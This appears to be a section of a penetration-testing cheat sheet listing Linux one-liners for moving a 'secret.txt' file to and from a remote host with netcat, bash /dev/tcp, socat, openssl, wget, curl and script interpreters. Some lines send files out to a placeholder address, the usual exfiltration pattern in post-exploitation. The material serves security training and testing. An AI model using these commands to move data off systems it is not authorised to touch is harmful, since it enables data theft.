File Transfers
01. Linux
## ------------------| NetCat
### Receiving side
nc -lp 1234 > out.file
### Sending side
nc -w 3 <ReceiverIP> 1234 < out.file
cat out.file > /dev/tcp/<DestinationIP>/1234
# ------------------| Socat
### Sending side
socat TCP4-LISTEN:1234,fork file:secret.txt
### Receiving side
socat TCP4:<SenderIP>:1234 file:secret.txt,create## ------------------| AXEL
axel -a -n 10 -k -o /tmp/secret.txt https://<IP>/secret.txt
## -a Alternate progress indicator
## -n Specify maximum number of connections
## -k Don't verify the SSL certificate
## ------------------| WGET
wget https://<IP>/secret.txt -O /tmp/secret.txt
## ------------------| CURL
curl https://<IP>/secret.txt -o /tmp/secret.txt
## ------------------| OpenSSL
### Create certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
### Stand up server
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/secret.txt
### Download file
openssl s_client -connect <IP>:80 -quiet > secret.txt
## ------------------| Bash (/dev/tcp)
### Connect to Target's Webserver
exec 3<>/dev/tcp/10.10.10.32/80
### HTTP GET Request
echo -e "GET /secret.txt HTTP/1.1\n\n">&3
### Print the Response
cat <&3
## ------------------| PHP
### File_get_contents()
php -r '$file = file_get_contents("https://<IP>/secret.txt"); file_put_contents("secret.txt",$file);'
### Fopen()
php -r 'const BUFFER = 1024; $fremote = fopen("https://<IP>/secret.txt", "rb"); $flocal = fopen("secret.txt", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
## ------------------| Python
### Python2
import urllib
urllib.urlretrieve ("https://<IP>/secret.txt", "secret.txt")
### Python3
import urllib.request
urllib.request.urlretrieve("https://<IP>/secret.txt", "secret.txt")
## ------------------| Ruby
ruby -e 'require "net/http"; File.write("secret.txt", Net::HTTP.get(URI.parse("https://<IP>/secret.txt")))'
## ------------------| Perl
perl -e 'use LWP::Simple; getstore("https://<IP>/secret.txt", "secret.txt");'02. Windows
03. Simple Servers
04. Living Off The Land Binaries
Last updated